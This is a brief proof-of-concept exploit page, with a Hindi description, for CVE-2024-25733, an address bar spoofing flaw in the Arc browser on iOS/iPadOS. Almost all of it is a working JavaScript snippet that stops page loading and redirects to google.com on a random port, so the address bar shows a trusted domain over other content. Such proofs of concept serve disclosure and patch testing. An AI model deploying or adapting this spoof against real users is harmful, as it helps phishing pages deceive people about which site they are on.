
CVE-2024-25733 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो iOS/iPadOS पर ARC ब्राउज़र में JavaScript-आधारित नेविगेशन हेरफेर का उपयोग करके एड्रेस बार स्पूफिंग प्रदर्शित करता है।
ARC Browser Address Bar Spoofing PoC - iOS/iPadOS
<script>
function spoof() {
setTimeout(() => {
window.stop();
let randomPort;
do {
randomPort = Math.floor(Math.random() * 1000);
} while (randomPort === 0 || randomPort === 443);
document.location = "https://google.com:" + randomPort + "/";
}, 300);
}
spoof();
</script>